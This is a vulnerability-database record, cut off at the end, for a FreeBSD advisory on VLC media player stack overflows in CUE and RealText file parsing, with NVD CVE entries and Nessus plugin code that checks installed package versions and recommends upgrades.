ID 4B09378E-ADDB-11DD-A578-0030843D3802 Type freebsd Reporter FreeBSD Modified 2010-05-02T00:00:00
Description
The VLC Team reports:
The VLC media player contains a stack overflow vulnerability
while parsing malformed cue files. The vulnerability may be
exploited by a (remote) attacker to execute arbitrary code in
the context of VLC media player.
{"cve": [{"lastseen": "2017-09-29T14:26:11", "references": ["http://www.openwall.com/lists/oss-security/2008/11/05/5", "http://www.videolan.org/security/sa0810.html", "http://www.openwall.com/lists/oss-security/2008/11/05/4", "http://www.securityfocus.com/archive/1/archive/1/498111/100/0/threaded", "http://www.trapkit.de/advisories/TKADV2008-011.txt", "http://www.openwall.com/lists/oss-security/2008/11/10/13", "http://www.securityfocus.com/bid/32125", "http://security.gentoo.org/glsa/glsa-200812-24.xml", "http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e3cef651125701a2e33a8d75b815b3e39681a447", "https://exchange.xforce.ibmcloud.com/vulnerabilities/46376", "https://www.exploit-db.com/exploits/7051"], "description": "Stack-based buffer overflow in VideoLAN VLC media player 0.9.x before 0.9.6 might allow user-assisted attackers to execute arbitrary code via an an invalid RealText (rt) subtitle file, related to the ParseRealText function in modules/demux/subtitle.c. NOTE: this issue was SPLIT from CVE-2008-5032 on 20081110.", "edition": 3, "reporter": "NVD", "published": "2008-11-10T17:18:34", "title": "CVE-2008-5036", "type": "cve", "enchantments": {"score": {"modified": "2017-09-29T14:26:11", "vector": "NONE", "value": 9.3}}, "assessment": {"system": "http://oval.mitre.org/XMLSchema/oval-definitions-5", "name": "oval:org.mitre.oval:def:14329", "href": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14329"}, "bulletinFamily": "NVD", "cvelist": ["CVE-2008-5036"], "scanner": [{"system": "http://oval.mitre.org/XMLSchema/oval-definitions-5", "name": "oval:org.mitre.oval:def:14329", "href": "http://oval.mitre.org/repository/data/DownloadDefinition?id=oval:org.mitre.oval:def:14329"}], "modified": "2017-09-28T21:32:26", "cpe": ["cpe:/a:videolan:vlc_media_player:0.9.4", "cpe:/a:videolan:vlc_media_player:0.9.3", "cpe:/a:videolan:vlc_media_player:0.9.5", "cpe:/a:videolan:vlc_media_player:0.9.1", "cpe:/a:videolan:vlc_media_player:0.9.2", "cpe:/a:videolan:vlc_media_player:0.9", "cpe:/a:videolan:vlc_media_player:0.9.0"], "id": "CVE-2008-5036", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5036", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-29T14:26:11", "references": ["http://www.openwall.com/lists/oss-security/2008/11/05/5", "http://www.securityfocus.com/archive/1/archive/1/498112/100/0/threaded", "http://www.videolan.org/security/sa0810.html", "http://www.openwall.com/lists/oss-security/2008/11/05/4", "http://www.openwall.com/lists/oss-security/2008/11/10/13", "http://www.trapkit.de/advisories/TKADV2008-012.txt", "http://www.securityfocus.com/bid/32125", "http://security.gentoo.org/glsa/glsa-200812-24.xml", "https://exchange.xforce.ibmcloud.com/vulnerabilities/46375", "http://git.videolan.org/?p=vlc.git;a=commitdiff;h=5f63f1562d43f32331006c2c1a61742de031b84d"], "description": "Stack-based buffer overflow in VideoLAN VLC media player 0.5.0 through 0.9.5 might allow user-assisted attackers to execute arbitrary code via the header of an invalid CUE image file, related to modules/access/vcd/cdrom.c. NOTE: this identifier originally included an issue related to RealText, but that issue has been assigned a separate identifier, CVE-2008-5036.", "edition": 3, "reporter": "NVD", "published": "2008-11-10T11:15:12", "title": "CVE-2008-5032", "type": "cve", "enchantments": {"score": {"modified": "2017-09-29T14:26:11", "vector": "NONE", "value": 9.3}}, "assessment": {"system": "http://oval.mitre.org/XMLSchema/oval-definitions-5", "name": "oval:org.mitre.oval:def:14798", "href": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A14798"}, "bulletinFamily": "NVD", "cvelist": ["CVE-2008-5032"], "scanner": [{"system": "http://oval.mitre.org/XMLSchema/oval-definitions-5", "name": "oval:org.mitre.oval:def:14798", "href": "http://oval.mitre.org/repository/data/DownloadDefinition?id=oval:org.mitre.oval:def:14798"}], "modified": "2017-09-28T21:32:26", "cpe": ["cpe:/a:videolan:vlc_media_player:0.8.6d", "cpe:/a:videolan:vlc_media_player:0.6.0", "cpe:/a:videolan:vlc_media_player:0.8.4", "cpe:/a:videolan:vlc_media_player:0.9.4", "cpe:/a:videolan:vlc_media_player:0.9.3", "cpe:/a:videolan:vlc_media_player:0.8.1", "cpe:/a:videolan:vlc_media_player:0.7.0", "cpe:/a:videolan:vlc_media_player:0.9.5", "cpe:/a:videolan:vlc_media_player:0.8.2", "cpe:/a:videolan:vlc_media_player:0.9.1", "cpe:/a:videolan:vlc_media_player:0.8.6a", "cpe:/a:videolan:vlc_media_player:0.8.5", "cpe:/a:videolan:vlc_media_player:0.8.4:test2", "cpe:/a:videolan:vlc_media_player:0.7.2", "cpe:/a:videolan:vlc_media_player:0.7.2:test3", "cpe:/a:videolan:vlc_media_player:0.8.6h", "cpe:/a:videolan:vlc_media_player:0.8.5:test3", "cpe:/a:videolan:vlc_media_player:0.8.5:test4", "cpe:/a:videolan:vlc_media_player:0.8.6i", "cpe:/a:videolan:vlc_media_player:0.8.6", "cpe:/a:videolan:vlc_media_player:0.8.6g", "cpe:/a:videolan:vlc_media_player:0.8.6e", "cpe:/a:videolan:vlc_media_player:0.8.4a", "cpe:/a:videolan:vlc_media_player:0.8.6c", "cpe:/a:videolan:vlc_media_player:0.6.2", "cpe:/a:videolan:vlc_media_player:0.8.6b", "cpe:/a:videolan:vlc_media_player:0.8.6f", "cpe:/a:videolan:vlc_media_player:0.7.1", "cpe:/a:videolan:vlc_media_player:0.9.2", "cpe:/a:videolan:vlc_media_player:0.7.2:test2", "cpe:/a:videolan:vlc_media_player:0.9", "cpe:/a:videolan:vlc_media_player:0.5.3", "cpe:/a:videolan:vlc_media_player:0.8.0", "cpe:/a:videolan:vlc_media_player:0.5.0", "cpe:/a:videolan:vlc_media_player:0.9.0", "cpe:/a:videolan:vlc_media_player:0.7.1a"], "id": "CVE-2008-5032", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5032", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2018-09-02T00:03:58", "references": ["http://permalink.gmane.org/gmane.comp.security.oss.general/1140", "http://www.videolan.org/security/sa0810.html", "http://www.securityfocus.com/archive/1/498112/30/0/threaded", "http://www.trapkit.de/advisories/TKADV2008-012.txt", "http://www.securityfocus.com/archive/1/498111/30/0/threaded"], "pluginID": "34730", "description": "A version of VLC between 0.5.0 and 0.9.5 is installed on the remote host. Such versions are affected by the following vulnerabilities :\n\n - RealText subtitle file (modules\\demux\\subtitle.c) processing is susceptible to a buffer overflow caused by user-supplied data from a malicious subtitle file being copied into static buffers without proper validation.\n\n - CUE image file (modules\\access\\vcd\\cdrom.c) processing is susceptible to a stack-based buffer overflow because data supplied by the CUE file is supplied as an array index without proper validation.\n\nAn attacker may be able to leverage these issues to execute arbitrary code on the remote host by tricking a user into opening a specially crafted video file using the affected application.", "edition": 6, "reporter": "Tenable", "published": "2008-11-10T00:00:00", "title": "VLC Media Player 0.5.0 to 0.9.5 Stack-Based Buffer Overflows", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 9.3}}, "naslFamily": "Windows", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2018-08-06T00:00:00", "cpe": ["cpe:/a:videolan:vlc_media_player"], "id": "VLC_0_9_6.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=34730", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(34730);\n script_version(\"1.16\");\n\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n script_bugtraq_id(32125, 36403);\n script_xref(name:\"EDB-ID\", value:\"18548\");\n\n script_name(english:\"VLC Media Player 0.5.0 to 0.9.5 Stack-Based Buffer Overflows\");\n script_summary(english:\"Checks version of VLC Media Player\");\n \n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host contains an application that is affected by\nmultiple buffer overflow vulnerabilities.\" );\n\n script_set_attribute(attribute:\"description\", value:\n\"A version of VLC between 0.5.0 and 0.9.5 is installed on the remote\nhost. Such versions are affected by the following vulnerabilities :\n\n - RealText subtitle file (modules\\demux\\subtitle.c)\n processing is susceptible to a buffer overflow caused \n by user-supplied data from a malicious subtitle file \n being copied into static buffers without proper \n validation.\n\n - CUE image file (modules\\access\\vcd\\cdrom.c)\n processing is susceptible to a stack-based buffer \n overflow because data supplied by the CUE file is \n supplied as an array index without proper validation.\n\nAn attacker may be able to leverage these issues to execute arbitrary\ncode on the remote host by tricking a user into opening a specially\ncrafted video file using the affected application.\" );\n\n script_set_attribute(attribute:\"see_also\", value:\"http://www.trapkit.de/advisories/TKADV2008-012.txt\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.securityfocus.com/archive/1/498111/30/0/threaded\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.securityfocus.com/archive/1/498112/30/0/threaded\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.videolan.org/security/sa0810.html\" );\n script_set_attribute(attribute:\"see_also\", value:\"http://permalink.gmane.org/gmane.comp.security.oss.general/1140\" );\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to VLC version 0.9.6 or later.\" );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VLC Media Player RealText Subtitle Overflow');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_cwe_id(119);\n\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2008/11/10\");\n script_cvs_date(\"Date: 2018/08/06 14:03:16\");\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:videolan:vlc_media_player\");\n script_end_attributes();\n \n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"vlc_installed.nasl\");\n script_require_keys(\"SMB/VLC/Version\");\n\n exit(0);\n}\n\ninclude(\"global_settings.inc\");\n\nver = get_kb_item(\"SMB/VLC/Version\");\nif (ver && ver =~ \"^0\\.([5-8]\\.|9\\.[0-5]($|[^0-9]))\")\n{\n if (report_verbosity)\n {\n report = string(\n \"\\n\",\n \"VLC Media Player version \", ver, \" is currently installed on the remote host.\\n\"\n );\n security_hole(port:get_kb_item(\"SMB/transport\"), extra:report);\n }\n else security_hole(get_kb_item(\"SMB/transport\"));\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-09-02T00:10:31", "references": ["http://www.nessus.org/u?3955db7e", "http://www.videolan.org/security/sa0810.html", "http://www.trapkit.de/advisories/TKADV2008-012.txt"], "pluginID": "34723", "description": "The VLC Team reports :\n\nThe VLC media player contains a stack overflow vulnerability while parsing malformed cue files. The vulnerability may be exploited by a (remote) attacker to execute arbitrary code in the context of VLC media player.", "edition": 4, "reporter": "Tenable", "published": "2008-11-09T00:00:00", "title": "FreeBSD : vlc -- cue processing stack overflow (4b09378e-addb-11dd-a578-0030843d3802)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "FreeBSD Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036"], "modified": "2013-06-21T00:00:00", "cpe": ["cpe:/o:freebsd:freebsd", "p-cpe:/a:freebsd:freebsd:vlc-devel", "p-cpe:/a:freebsd:freebsd:vlc"], "id": "FREEBSD_PKG_4B09378EADDB11DDA5780030843D3802.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=34723", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2013 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(34723);\n script_version(\"$Revision: 1.14 $\");\n script_cvs_date(\"$Date: 2013/06/21 23:52:43 $\");\n\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\");\n\n script_name(english:\"FreeBSD : vlc -- cue processing stack overflow (4b09378e-addb-11dd-a578-0030843d3802)\");\n script_summary(english:\"Checks for updated packages in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote FreeBSD host is missing one or more security-related\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The VLC Team reports :\n\nThe VLC media player contains a stack overflow vulnerability while\nparsing malformed cue files. The vulnerability may be exploited by a\n(remote) attacker to execute arbitrary code in the context of VLC\nmedia player.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.videolan.org/security/sa0810.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.trapkit.de/advisories/TKADV2008-012.txt\"\n );\n # http://www.freebsd.org/ports/portaudit/4b09378e-addb-11dd-a578-0030843d3802.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?3955db7e\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VLC Media Player RealText Subtitle Overflow');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_cwe_id(119);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:vlc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:vlc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2008/11/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2008/11/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2008/11/09\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2008-2013 Tenable Network Security, Inc.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"vlc<0.8.6.i_2,2\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"vlc-devel<0.9.6,3\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-09-01T23:42:50", "references": ["https://security.gentoo.org/glsa/200812-24"], "pluginID": "35271", "description": "The remote host is affected by the vulnerability described in GLSA-200812-24 (VLC: Multiple vulnerabilities)\n\n Tobias Klein reported the following vulnerabilities:\n A stack-based buffer overflow when processing CUE image files in modules/access/vcd/cdrom.c (CVE-2008-5032).\n A stack-based buffer overflow when processing RealText (.rt) subtitle files in the ParseRealText() function in modules/demux/subtitle.c (CVE-2008-5036).\n An integer overflow when processing RealMedia (.rm) files in the ReadRealIndex() function in real.c in the Real demuxer plugin, leading to a heap-based buffer overflow (CVE-2008-5276).\n Impact :\n\n A remote attacker could entice a user to open a specially crafted CUE image file, RealMedia file or RealText subtitle file, possibly resulting in the execution of arbitrary code with the privileges of the user running the application.\n Workaround :\n\n There is no known workaround at this time.", "edition": 6, "reporter": "Tenable", "published": "2008-12-26T00:00:00", "title": "GLSA-200812-24 : VLC: Multiple vulnerabilities", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "naslFamily": "Gentoo Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-5032", "CVE-2008-5036", "CVE-2008-5276"], "modified": "2018-07-11T00:00:00", "cpe": ["cpe:/o:gentoo:linux", "p-cpe:/a:gentoo:linux:vlc"], "id": "GENTOO_GLSA-200812-24.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=35271", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 200812-24.\n#\n# The advisory text is Copyright (C) 2001-2016 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(35271);\n script_version(\"1.16\");\n script_cvs_date(\"Date: 2018/07/11 17:09:25\");\n\n script_cve_id(\"CVE-2008-5032\", \"CVE-2008-5036\", \"CVE-2008-5276\");\n script_bugtraq_id(32125);\n script_xref(name:\"GLSA\", value:\"200812-24\");\n\n script_name(english:\"GLSA-200812-24 : VLC: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-200812-24\n(VLC: Multiple vulnerabilities)\n\n Tobias Klein reported the following vulnerabilities:\n A\n stack-based buffer overflow when processing CUE image files in\n modules/access/vcd/cdrom.c (CVE-2008-5032).\n A stack-based\n buffer overflow when processing RealText (.rt) subtitle files in the\n ParseRealText() function in modules/demux/subtitle.c\n (CVE-2008-5036).\n An integer overflow when processing RealMedia\n (.rm) files in the ReadRealIndex() function in real.c in the Real\n demuxer plugin, leading to a heap-based buffer overflow\n (CVE-2008-5276).\n \nImpact :\n\n A remote attacker could entice a user to open a specially crafted CUE\n image file, RealMedia file or RealText subtitle file, possibly\n resulting in the execution of arbitrary code with the privileges of the\n user running the application.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/200812-24\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All VLC users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=media-video/vlc-0.9.8a'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'VLC Media Player RealText Subtitle Overflow');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n script_cwe_id(119, 189);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:vlc\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2008/12/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2008/12/26\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"media-video/vlc\", unaffected:make_list(\"ge 0.9.8a\"), vulnerable:make_list(\"lt 0.9.8a\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"VLC\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-09-01T23:33:36", "references": ["https://security-tracker.debian.org/tracker/CVE-2008-1768", "https://security-tracker.debian.org/tracker/CVE-2008-4686", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503118", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=477805", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=480724", "http://www.debian.org/security/2009/dsa-1819", "https://security-tracker.debian.org/tracker/CVE-2008-1881", "https://security-tracker.debian.org/tracker/CVE-2008-3794", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=496265", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478140", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504639", "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=489004", "https://security-tracker.debian.org/tracker/CVE-2008-1769", "https://security-tracker.debian.org/tracker/CVE-2008-5032", "https://security-tracker.debian.org/tracker/CVE-2008-2147", "https://security-tracker.debian.org/tracker/CVE-2008-2430"], "pluginID": "39451", "description": "Several vulnerabilities have been discovered in vlc, a multimedia player and streamer. The Common Vulnerabilities and Exposures project identifies the following problems :\n\n - CVE-2008-1768 Drew Yao discovered that multiple integer overflows in the MP4 demuxer, Real demuxer and Cinepak codec can lead to the execution of arbitrary code.\n\n - CVE-2008-1769 Drew Yao discovered that the Cinepak codec is prone to a memory corruption, which can be triggered by a crafted Cinepak file.\n\n - CVE-2008-1881 Luigi Auriemma discovered that it is possible to execute arbitrary code via a long subtitle in an SSA file.\n\n - CVE-2008-2147 It was discovered that vlc is prone to a search path vulnerability, which allows local users to perform privilege escalations.\n\n - CVE-2008-2430 Alin Rad Pop discovered that it is possible to execute arbitrary code when opening a WAV file containing a large fmt chunk.\n\n - CVE-2008-3794 Pinar Yanardag discovered that it is possible to execute arbitrary code when opening a crafted mmst link.\n\n - CVE-2008-4686 Tobias Klein discovered that it is possible to execute arbitrary code when opening a crafted .ty file.\n\n - CVE-2008-5032 Tobias Klein discovered that it is possible to execute arbitrary code when opening an invalid CUE image file with a crafted header.", "edition": 5, "reporter": "Tenable", "published": "2009-06-19T00:00:00", "title": "Debian DSA-1819-1 : vlc - several vulnerabilities", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "Debian Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-4686", "CVE-2008-1768", "CVE-2008-1769", "CVE-2008-5032", "CVE-2008-1881", "CVE-2008-3794", "CVE-2008-2147", "CVE-2008-2430"], "modified": "2016-12-06T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:4.0", "cpe:/o:debian:debian_linux:5.0", "p-cpe:/a:debian:debian_linux:vlc"], "id": "DEBIAN_DSA-1819.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=39451", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-1819. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(39451);\n script_version(\"$Revision: 1.12 $\");\n script_cvs_date(\"$Date: 2016/12/06 20:12:52 $\");\n\n script_cve_id(\"CVE-2008-1768\", \"CVE-2008-1769\", \"CVE-2008-1881\", \"CVE-2008-2147\", \"CVE-2008-2430\", \"CVE-2008-3794\", \"CVE-2008-4686\", \"CVE-2008-5032\");\n script_bugtraq_id(32125);\n script_xref(name:\"DSA\", value:\"1819\");\n\n script_name(english:\"Debian DSA-1819-1 : vlc - several vulnerabilities\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Several vulnerabilities have been discovered in vlc, a multimedia\nplayer and streamer. The Common Vulnerabilities and Exposures project\nidentifies the following problems :\n\n - CVE-2008-1768\n Drew Yao discovered that multiple integer overflows in\n the MP4 demuxer, Real demuxer and Cinepak codec can lead\n to the execution of arbitrary code.\n\n - CVE-2008-1769\n Drew Yao discovered that the Cinepak codec is prone to a\n memory corruption, which can be triggered by a crafted\n Cinepak file.\n\n - CVE-2008-1881\n Luigi Auriemma discovered that it is possible to execute\n arbitrary code via a long subtitle in an SSA file.\n\n - CVE-2008-2147\n It was discovered that vlc is prone to a search path\n vulnerability, which allows local users to perform\n privilege escalations.\n\n - CVE-2008-2430\n Alin Rad Pop discovered that it is possible to execute\n arbitrary code when opening a WAV file containing a\n large fmt chunk.\n\n - CVE-2008-3794\n Pinar Yanardag discovered that it is possible to\n execute arbitrary code when opening a crafted mmst link.\n\n - CVE-2008-4686\n Tobias Klein discovered that it is possible to execute\n arbitrary code when opening a crafted .ty file.\n\n - CVE-2008-5032\n Tobias Klein discovered that it is possible to execute\n arbitrary code when opening an invalid CUE image file\n with a crafted header.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=478140\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=477805\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=489004\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=496265\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=503118\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504639\"\n 